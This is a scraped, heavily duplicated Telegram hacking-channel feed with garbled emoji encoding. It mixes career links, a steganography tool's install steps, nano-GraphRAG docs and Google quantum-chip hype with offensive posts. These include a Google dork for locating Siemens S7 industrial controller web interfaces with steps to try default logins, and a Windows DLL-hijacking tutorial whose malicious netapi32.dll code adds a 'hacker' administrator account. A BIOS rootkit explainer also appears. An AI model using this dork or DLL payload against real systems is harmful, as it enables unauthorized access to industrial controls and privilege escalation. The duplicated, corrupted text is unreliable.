Forwarded from UNDERCODE COMMUNITY (dvm)
π¦ top cybersecurity job sites:
https://www.cyberseek.org
https://www.hays.com
https://www.comptia.org
https://www.cyberseek.org
https://www.hays.com
https://www.comptia.org
www.cyberseek.org
Empowering Careers in Cybersecurity: Close the cybersecurity talent gap with interactive tools and data
π¦Advanced Steganography Tool made with Python:
Installation
1. Clone the repository:
2. Install required Python libraries:
How to Use
1. Navigate to the project directory:
2. Encoding/Decoding Files:
- For Audio Files:
- Encoding:
- Decoding:
- For Video Files:
- Encoding:
- Decoding:
- For Image Files:
- Encoding:
- Decoding:
- For Text Files:
- Encoding:
- Decoding:
3. For Help:
For more detailed usage and code, visit the repository [here](https://github.com/Sanjipan/Steganography).
Installation
1. Clone the repository:
kali@kali:~$ git clone https://github.com/Sanjipan/Steganography
2. Install required Python libraries:
kali@kali:~$ pip install argparse
kali@kali:~$ pip install Wave
kali@kali:~$ sudo pip install opencv-python
kali@kali:~$ pip install numpy
kali@kali:~$ pip install Pillow
kali@kali:~$ pip install pytest-shutil
kali@kali:~$ pip install subprocess.run
kali@kali:~$ sudo pip install stegano
How to Use
1. Navigate to the project directory:
kali@kali:~$ cd Steganography
2. Encoding/Decoding Files:
- For Audio Files:
- Encoding:
sudo python3 ./Steganography.py -a -e <location of file>
- Decoding:
sudo python3 ./Steganography.py -a -d <location of file>
- For Video Files:
- Encoding:
sudo python3 ./Steganography.py -v -e <location of file>
- Decoding:
sudo python3 ./Steganography.py -v -d <location of file>
- For Image Files:
- Encoding:
sudo python3 ./Steganography.py -i -e <location of file>
- Decoding:
sudo python3 ./Steganography.py -i -d <location of file>
- For Text Files:
- Encoding:
sudo python3 ./Steganography.py -t -e <location of file>
- Decoding:
sudo python3 ./Steganography.py -t -d <location of file>
3. For Help:
sudo python3 ./Steganography.py -h
sudo python3 ./Steganography.py --help
For more detailed usage and code, visit the repository [here](https://github.com/Sanjipan/Steganography).
GitHub
GitHub - Sanjipan/Steganography: A Advance Steganography Tool made with Python The Program Supports Hiding Secret Text data intoβ¦
A Advance Steganography Tool made with Python The Program Supports Hiding Secret Text data into an innocent looking cover file like : .mp4, .wav, .png, .jpeg, .txt through the use of Steganography...
Forwarded from Exploiting Crew (Pr1vAt3)
YouTube
How to Hide Data in Images: Steganography for Ethical Hacking
In this video, we explore steganographyβthe technique of hiding data within other files. Youβll see how attackers can conceal messages, password files, scripts, and even malware inside seemingly innocent images, all while bypassing antivirus, Data loss protectionβ¦
Forwarded from Exploiting Crew (Pr1vAt3)
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Wild! Google announced that their quantum chip Willow was able to do a computation in 5 minutes that would take current top-tier computers 10,000,000,000,000,000,000,000,000 years to figure out π³
The 105-qubit chip brings insane error correction, focusing on stability rather than just stacking more qubits. The result? A leap toward practical quantum computing that could revolutionize medicine, AI, and energy in the near future.
But here comes the crazy part.
As part of the Willow announcement, Google basically confirmed we're living in a multiverse:
"It lends credence to the notion that quantum computation occurs in many parallel universes, in line with the idea that we live in a multiverse, a prediction first made by David Deutsch."
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Wild! Google announced that their quantum chip Willow was able to do a computation in 5 minutes that would take current top-tier computers 10,000,000,000,000,000,000,000,000 years to figure out π³
The 105-qubit chip brings insane error correction, focusing on stability rather than just stacking more qubits. The result? A leap toward practical quantum computing that could revolutionize medicine, AI, and energy in the near future.
But here comes the crazy part.
As part of the Willow announcement, Google basically confirmed we're living in a multiverse:
"It lends credence to the notion that quantum computation occurs in many parallel universes, in line with the idea that we live in a multiverse, a prediction first made by David Deutsch."
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦ Hack GraphRAG implementation:
Nano-GraphRAG is a lightweight, efficient, and portable implementation of GraphRAG. It's designed to be more user-friendly and hackable than the official version while retaining the core features.
Key Features
- Small yet powerful: ~1100 lines of core code (excluding tests/prompts).
- Highly portable: Supports integrations with Faiss, Neo4j, Ollama, etc.
- Asynchronous and fully typed: Suitable for modern Python workflows.
- Flexible backends:
- LLM: OpenAI, Amazon Bedrock, Ollama, others.
- Vector DB: Built-in
- Graph Storage: NetworkX (default), Neo4j (optional).
- Incremental and batch data handling: Easy to scale as data grows.
Installation
From Source (Recommended)
From PyPI
Quick Start
1. Set up API Keys:
- OpenAI API:
- For Azure OpenAI or Amazon Bedrock, refer to
2. Download a sample text:
3. Basic Usage:
4. Reuse Stored Contexts:
- Reinitialize with the same
Advanced Features
- Batch Insert:
- Incremental Insert:
- Async Support:
- Customizable Parameters:
- Use
Components and Extensibility
Built-in Components:
- LLM: OpenAI, Amazon Bedrock.
- Vector DB: Nano-vectordb, HNSWlib.
- Graph Storage: NetworkX, Neo4j.
Example Extensions:
- Embedding: Sentence-transformers, custom embeddings.
- Visualization: GraphML-based visualizations.
- Chunking: Token-based or custom splitters.
Benchmarking and Contributions
- Benchmarks for performance comparisons are available under
- Contributions for new components and features are welcomed!
Nano-GraphRAG is ideal for developers seeking a nimble and efficient RAG solution, especially for those who want the flexibility to experiment or build on top of it.
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦ Hack GraphRAG implementation:
Nano-GraphRAG is a lightweight, efficient, and portable implementation of GraphRAG. It's designed to be more user-friendly and hackable than the official version while retaining the core features.
Key Features
- Small yet powerful: ~1100 lines of core code (excluding tests/prompts).
- Highly portable: Supports integrations with Faiss, Neo4j, Ollama, etc.
- Asynchronous and fully typed: Suitable for modern Python workflows.
- Flexible backends:
- LLM: OpenAI, Amazon Bedrock, Ollama, others.
- Vector DB: Built-in
nano-vectordb, HNSWlib, Milvus-lite, Faiss.- Graph Storage: NetworkX (default), Neo4j (optional).
- Incremental and batch data handling: Easy to scale as data grows.
Installation
From Source (Recommended)
Clone the repository
git clone https://github.com/gusye1234/nano-graphrag.git
cd nano-graphrag
pip install -e .
From PyPI
pip install nano-graphrag
Quick Start
1. Set up API Keys:
- OpenAI API:
export OPENAI_API_KEY="sk-..."
- For Azure OpenAI or Amazon Bedrock, refer to
.env.example.2. Download a sample text:
curl https://raw.githubusercontent.com/gusye1234/nano-graphrag/main/tests/mock_data.txt > ./book.txt
3. Basic Usage:
from nano_graphrag import GraphRAG, QueryParam
Initialize GraphRAG
graph_func = GraphRAG(working_dir="./dickens")
Insert text data
with open("./book.txt") as f:
graph_func.insert(f.read())
Perform a global search
print(graph_func.query("What are the top themes in this story?"))
Perform a local search for scalability
print(graph_func.query("What are the top themes in this story?", param=QueryParam(mode="local")))
4. Reuse Stored Contexts:
- Reinitialize with the same
working_dir to reload previous contexts.Advanced Features
- Batch Insert:
graph_func.insert(["TEXT1", "TEXT2", ...])
- Incremental Insert:
graph_func.insert("New text to add")
- Async Support:
await graph_func.ainsert("Async text")
await graph_func.aquery("What is this text about?")
- Customizable Parameters:
- Use
help(GraphRAG) and help(QueryParam) to explore.Components and Extensibility
Built-in Components:
- LLM: OpenAI, Amazon Bedrock.
- Vector DB: Nano-vectordb, HNSWlib.
- Graph Storage: NetworkX, Neo4j.
Example Extensions:
- Embedding: Sentence-transformers, custom embeddings.
- Visualization: GraphML-based visualizations.
- Chunking: Token-based or custom splitters.
Benchmarking and Contributions
- Benchmarks for performance comparisons are available under
examples/benchmarks.- Contributions for new components and features are welcomed!
Nano-GraphRAG is ideal for developers seeking a nimble and efficient RAG solution, especially for those who want the flexibility to experiment or build on top of it.
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Google Dork : intext:"siemens" & inurl:"/portal/portal.mwsl"
locate Siemens S7 PLC (Programmable Logic Controller) web interfaces through publicly accessible search
This Google dork, intext:"siemens" & inurl:"/portal/portal.mwsl", reveals
the web interfaces of Siemens S7 series PLC controllers. These interfaces
provide access to critical control and monitoring functions of industrial
systems. Unauthorized access can lead to significant operational
disruptions and security risks in industrial environments.
Proof Of Concept (PoC):
Steps to Reproduce:
1.Open Google Search.
2.Enter the dork query: intext:"siemens" & inurl:"/portal/portal.mwsl".
3.Review the search results to find URLs of Siemens S7 PLC web interfaces.
4. Click on a search result to access the web interface of the PLC.
5.Attempt to log in using default or commonly known credentials (if login
is required).
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Google Dork : intext:"siemens" & inurl:"/portal/portal.mwsl"
locate Siemens S7 PLC (Programmable Logic Controller) web interfaces through publicly accessible search
This Google dork, intext:"siemens" & inurl:"/portal/portal.mwsl", reveals
the web interfaces of Siemens S7 series PLC controllers. These interfaces
provide access to critical control and monitoring functions of industrial
systems. Unauthorized access can lead to significant operational
disruptions and security risks in industrial environments.
Proof Of Concept (PoC):
Steps to Reproduce:
1.Open Google Search.
2.Enter the dork query: intext:"siemens" & inurl:"/portal/portal.mwsl".
3.Review the search results to find URLs of Siemens S7 PLC web interfaces.
4. Click on a search result to access the web interface of the PLC.
5.Attempt to log in using default or commonly known credentials (if login
is required).
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π Support & Share: t.me/undercodecommunity
This is the hub for developers and tech enthusiasts:
π» Topics We Cover:
π CVE News & Databases
π° Hacker & Tech News
π‘ Cybersecurity, Hacking, and Secret Methods
π Our Mission:
Share your knowledge, collaborate, and grow together in a community designed for innovation and learning.
π Join now: Let's build the future together!
@UndercodeCommunity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π Support & Share: t.me/undercodecommunity
This is the hub for developers and tech enthusiasts:
π» Topics We Cover:
π CVE News & Databases
π° Hacker & Tech News
π‘ Cybersecurity, Hacking, and Secret Methods
π Our Mission:
Share your knowledge, collaborate, and grow together in a community designed for innovation and learning.
π Join now: Let's build the future together!
@UndercodeCommunity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Telegram
UNDERCODE COMMUNITY
π¦ Undercode Cyber World!
@UndercodeCommunity
FREE
- Hackers Post Monitor:
Latest Bug bounty Methods, Tools Updates, AI, Courses! @Undercode_Testing
- Cyber & Tech NEWS:
@Undercode_News
- CVE: @Daily_CVE
β¨Official Web & Services:
β Undercode.help
@UndercodeCommunity
FREE
- Hackers Post Monitor:
Latest Bug bounty Methods, Tools Updates, AI, Courses! @Undercode_Testing
- Cyber & Tech NEWS:
@Undercode_News
- CVE: @Daily_CVE
β¨Official Web & Services:
β Undercode.help
Forwarded from Exploiting Crew (Pr1vAt3)
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Advanced Hacking: file hijacking caused by directory permissions:
In Windows systems, improper permissions on certain directories or files allow attackers to implant malicious files or execute files in these directories. Since these directories lack effective access control and security review, attackers can exploit vulnerabilities to modify, replace or inject files, or even hijack legitimate processes or services in the system.
Several file hijacking cases to understand the security issues caused by weak permission directories. Before going into specific cases, let's start with the CreateProcess API.
1οΈβ£. Unsafe use of CreateProcess
CreateProcessThe API is the basic function used to create a new process in Windows. Its working mechanism is crucial to program startup and path resolution. This API has multiple parameters, among which lpApplicationNameand lpCommandLineare key parameters, which together affect the behavior of process creation, especially how to parse and execute the passed executable file path.
CreateProcessBasic usage
CreateProcessThe prototype is as follows:
π¦Advanced Hacking: file hijacking caused by directory permissions:
In Windows systems, improper permissions on certain directories or files allow attackers to implant malicious files or execute files in these directories. Since these directories lack effective access control and security review, attackers can exploit vulnerabilities to modify, replace or inject files, or even hijack legitimate processes or services in the system.
In Windows systems, there are some typical weak-permission directories, such as C:\Windows\Temp, C:\ProgramDataetc. These directories are usually used to store temporary files. However, many applications and users do not set sufficient permission control for these directories when using them. Attackers can implement file hijacking attacks by placing malicious executable files in these directories, thereby executing code or elevating system permissions.
Several file hijacking cases to understand the security issues caused by weak permission directories. Before going into specific cases, let's start with the CreateProcess API.
1οΈβ£. Unsafe use of CreateProcess
CreateProcessThe API is the basic function used to create a new process in Windows. Its working mechanism is crucial to program startup and path resolution. This API has multiple parameters, among which lpApplicationNameand lpCommandLineare key parameters, which together affect the behavior of process creation, especially how to parse and execute the passed executable file path.
CreateProcessBasic usage
CreateProcessThe prototype is as follows:
BOOL CreateProcess(
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
Forwarded from Exploiting Crew (Pr1vAt3)
2οΈβ£ lpApplicationName: Specifies the path to the application (optional). If NULL, the system will lpCommandLineparse the application path from the first space-delimited item of .
lpCommandLine: Command line arguments passed to the new process. If lpApplicationName, NULLthis argument must include the full path to the application or command name.
lpApplicationNameNULLPath resolution for
When lpApplicationNameis NULL, the system must lpCommandLineparse the executable file path from . This process involves path parsing and processing, which may involve the problem of file names containing spaces.
Path resolution order on the command line:
Let's look at an example from Microsoft's official documentation. Suppose that lpCommandLineit contains something like the following:
3οΈβ£CreateProcess executes the path without quotes, and lpApplicationNamethe NULLsystem will parse the path in the following order:
c:\program.exe: The system first attempts to parse the path by truncating it from the beginning of the string c:\program.exe.
c:\program files\sub.exe: If the first resolution fails, the system attempts to resolve the path to c:\program files\sub.exe.
c:\program files\sub dir\program.exe: Next, the system tries to resolve the entire path, thinks program.exeit is an executable file name, and tries to execute it.
c:\program files\sub dir\program name.exe: Finally, the system attempts to resolve program nameas an executable file name and appends .exethe extension to it.
lpCommandLine: Command line arguments passed to the new process. If lpApplicationName, NULLthis argument must include the full path to the application or command name.
lpApplicationNameNULLPath resolution for
When lpApplicationNameis NULL, the system must lpCommandLineparse the executable file path from . This process involves path parsing and processing, which may involve the problem of file names containing spaces.
Path resolution order on the command line:
Let's look at an example from Microsoft's official documentation. Suppose that lpCommandLineit contains something like the following:
c:\program files\sub dir\program name
3οΈβ£CreateProcess executes the path without quotes, and lpApplicationNamethe NULLsystem will parse the path in the following order:
c:\program.exe: The system first attempts to parse the path by truncating it from the beginning of the string c:\program.exe.
c:\program files\sub.exe: If the first resolution fails, the system attempts to resolve the path to c:\program files\sub.exe.
c:\program files\sub dir\program.exe: Next, the system tries to resolve the entire path, thinks program.exeit is an executable file name, and tries to execute it.
c:\program files\sub dir\program name.exe: Finally, the system attempts to resolve program nameas an executable file name and appends .exethe extension to it.
Forwarded from Exploiting Crew (Pr1vAt3)
4οΈβ£Write a POC program test:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
char *szCmdline = _strdup("c:\\program files\\sub dir\\program name");
// STARTUPINFO PROCESS_INFORMATION
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
// CreateProcessAοΌANSIοΌ
if (CreateProcessA(
NULL,
szCmdline,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
)) {
printf("Process created successfully!\n");
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
printf("Failed to create process. Error code: %lu\n", GetLastError());
}
free(szCmdline);
return 0;
}
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
char *szCmdline = _strdup("c:\\program files\\sub dir\\program name");
// STARTUPINFO PROCESS_INFORMATION
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
// CreateProcessAοΌANSIοΌ
if (CreateProcessA(
NULL,
szCmdline,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
)) {
printf("Process created successfully!\n");
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
printf("Failed to create process. Error code: %lu\n", GetLastError());
}
free(szCmdline);
return 0;
}
Forwarded from Exploiting Crew (Pr1vAt3)
5οΈβ£This test program attempts to start "c:\program files\sub dir\program name" via CreateProcessA, compile and run the program, and monitor it using Process Monitor.
, you can see that Process Monitor monitors the expected behavior of the program. If program.exe exists in the root directory of drive C, then c:\program.exe will be executed.
, you can see that Process Monitor monitors the expected behavior of the program. If program.exe exists in the root directory of drive C, then c:\program.exe will be executed.
Forwarded from Exploiting Crew (Pr1vAt3)
The safe usage of CreateProcess API should be:
If lpApplicationName is set to NULL , the executable file path in lpCommandLine needs to be quoted. Another API function with similar behavior is CreateProcessAsUser.
LPTSTR szCmdline[] = _tcsdup(TEXT("\"C:\\Program Files\\MyApp\" -L -S"));
CreateProcess(NULL, szCmdline, /*...*/);If lpApplicationName is set to NULL , the executable file path in lpCommandLine needs to be quoted. Another API function with similar behavior is CreateProcessAsUser.
Forwarded from Exploiting Crew (Pr1vAt3)
6οΈβ£ Directory permissions and file hijacking
Through the CreateProcess test program above, we can see that some irregular coding habits may cause the program to behave unexpectedly, which poses a potential security risk. In this case, if the relevant directory is set to weak permissions, such as c:\program files\sub dir\, the directory permissions are improperly set, resulting in an attacker with normal permissions being able to write malicious files in the directory and use file hijacking to achieve the purpose of privilege escalation. Next, let's use several real CVE cases to explore the possible harm caused by file hijacking caused by weak permission directories.
Through the CreateProcess test program above, we can see that some irregular coding habits may cause the program to behave unexpectedly, which poses a potential security risk. In this case, if the relevant directory is set to weak permissions, such as c:\program files\sub dir\, the directory permissions are improperly set, resulting in an attacker with normal permissions being able to write malicious files in the directory and use file hijacking to achieve the purpose of privilege escalation. Next, let's use several real CVE cases to explore the possible harm caused by file hijacking caused by weak permission directories.
Forwarded from Exploiting Crew (Pr1vAt3)
7οΈβ£Case Analysis
EXE hijacking caused by weak permission directory:
> during the uninstallation of the Citrix program, the CreateProcess API is called to execute the file TrolleyExpress.exe (C:\ProgramData\Citrix\Citrix Workspace 1911\TrolleyExpress.exe). Due to the unquoted path, the program attempts to load C:\ProgramData\Citrix\Citrix.exe. The path C:\ProgramData\Citrix\ has weak permissions. An attacker can write a malicious Citrix.exe to the path and wait for the administrator to uninstall the Citrix Workspace application. The malicious Citrix.exe will be executed to elevate permissions.
EXE hijacking caused by weak permission directory:
> during the uninstallation of the Citrix program, the CreateProcess API is called to execute the file TrolleyExpress.exe (C:\ProgramData\Citrix\Citrix Workspace 1911\TrolleyExpress.exe). Due to the unquoted path, the program attempts to load C:\ProgramData\Citrix\Citrix.exe. The path C:\ProgramData\Citrix\ has weak permissions. An attacker can write a malicious Citrix.exe to the path and wait for the administrator to uninstall the Citrix Workspace application. The malicious Citrix.exe will be executed to elevate permissions.
Forwarded from Exploiting Crew (Pr1vAt3)
8οΈβ£Local privilege escalation due to weak system directory permissions:
CVE-2022-24767: The uninstaller for Git for Windows is vulnerable to DLL hijacking when running under the SYSTEM user account
The system user uninstalls the Git for Windows program. By monitoring the program behavior, you will find that the Git uninstaller will try to C:\Windows\Tempload the dll from the directory.
CVE-2022-24767: The uninstaller for Git for Windows is vulnerable to DLL hijacking when running under the SYSTEM user account
The system user uninstalls the Git for Windows program. By monitoring the program behavior, you will find that the Git uninstaller will try to C:\Windows\Tempload the dll from the directory.
Forwarded from Exploiting Crew (Pr1vAt3)
9οΈβ£ Since ordinary users also have C:\Windows\Tempwrite permissions to the directory, low-privilege attackers can write malicious dlls to C:\Windows\Tempthe directory. When the system user uninstalls the Git program, the malicious dll will run, and the attacker can achieve the purpose of privilege escalation.
Forwarded from Exploiting Crew (Pr1vAt3)
1οΈβ£0οΈβ£we try to execute malicious code by hijacking netapi32.dll.
Malicious netapi32.dll test code:
After the compilation is complete, put netapi32.dll in the C:\Windows\Temp directory. When the system user uninstalls the Git for Windows program, you will find that the malicious dll is executed and a user hacker is successfully added to the administrator group.
β β β Uππ»βΊπ«Δπ¬πβ β β β
Malicious netapi32.dll test code:
#include<stdio.h>
#include<windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe \"/k net user hacker password /add && net localgroup administrators hacker /add && net localgroup administrators\"");
ExitProcess(0);
}
return TRUE;
}
After the compilation is complete, put netapi32.dll in the C:\Windows\Temp directory. When the system user uninstalls the Git for Windows program, you will find that the malicious dll is executed and a user hacker is successfully added to the administrator group.
β β β Uππ»βΊπ«Δπ¬πβ β β β
Forwarded from Exploiting Crew (Pr1vAt3)
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦ BIOS-level rootkit attack, also known as a persistent BIOS attack, is an exploit in which the BIOS is flashed (updated) with malicious code. A BIOS rootkit is programming that enables remote administration.
The BIOS (basic input/output system) is firmware that resides in memory and runs while a computer boots up. Because the BIOS is stored in memory rather than on the hard disk drive, a BIOS rootkit can survive conventional attempts to get rid of malware, including reformatting or replacing the hard drive.
Originally, the BIOS firmware was hard-coded and read-only. Now, however, manufacturers generally use an erasable format, such as flash memory so that the BIOS can be easily updated remotely. The use of an erasable format that can be updated over the Internet makes updates easier but also leaves the BIOS vulnerable to online attack.
A BIOS attack does not require any vulnerability on the target system -- once an attacker gains administrative-level privileges, he can flash the BIOS over the Internet with malware-laden firmware. On ars technica, Joel Hruska describes one BIOS rootkit attack:
The aforementioned attack consists of dumping the new BIOS into flashrom (a BIOS read/write/modify utility), making the necessary changes, adjusting all of the checksums to ensure the hacked BIOS will verify as authentic⦠and flashing. Voila! One evil BIOS.
Some researchers fear that a BIOS rootkit poses a special threat for cloud computing environments, in which multiple virtual machines (VM) exist on a single physical system.
Methods of preventing BIOS rootkit attacks include:
Implementing digital signature technology to prevent unauthorized access
Making the BIOS non-writeable
Burning a hardware cryptographic key into the BIOS at manufacture that can be used to verify that the code has not been altered.
If an unauthorized BIOS-level rootkit is detected, the only way to get rid of it is to physically remove and replace the memory where the BIOS resides.
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦ BIOS-level rootkit attack, also known as a persistent BIOS attack, is an exploit in which the BIOS is flashed (updated) with malicious code. A BIOS rootkit is programming that enables remote administration.
The BIOS (basic input/output system) is firmware that resides in memory and runs while a computer boots up. Because the BIOS is stored in memory rather than on the hard disk drive, a BIOS rootkit can survive conventional attempts to get rid of malware, including reformatting or replacing the hard drive.
Originally, the BIOS firmware was hard-coded and read-only. Now, however, manufacturers generally use an erasable format, such as flash memory so that the BIOS can be easily updated remotely. The use of an erasable format that can be updated over the Internet makes updates easier but also leaves the BIOS vulnerable to online attack.
A BIOS attack does not require any vulnerability on the target system -- once an attacker gains administrative-level privileges, he can flash the BIOS over the Internet with malware-laden firmware. On ars technica, Joel Hruska describes one BIOS rootkit attack:
The aforementioned attack consists of dumping the new BIOS into flashrom (a BIOS read/write/modify utility), making the necessary changes, adjusting all of the checksums to ensure the hacked BIOS will verify as authentic⦠and flashing. Voila! One evil BIOS.
Some researchers fear that a BIOS rootkit poses a special threat for cloud computing environments, in which multiple virtual machines (VM) exist on a single physical system.
Methods of preventing BIOS rootkit attacks include:
Implementing digital signature technology to prevent unauthorized access
Making the BIOS non-writeable
Burning a hardware cryptographic key into the BIOS at manufacture that can be used to verify that the code has not been altered.
If an unauthorized BIOS-level rootkit is detected, the only way to get rid of it is to physically remove and replace the memory where the BIOS resides.
β β β Uππ»βΊπ«Δπ¬πβ β β β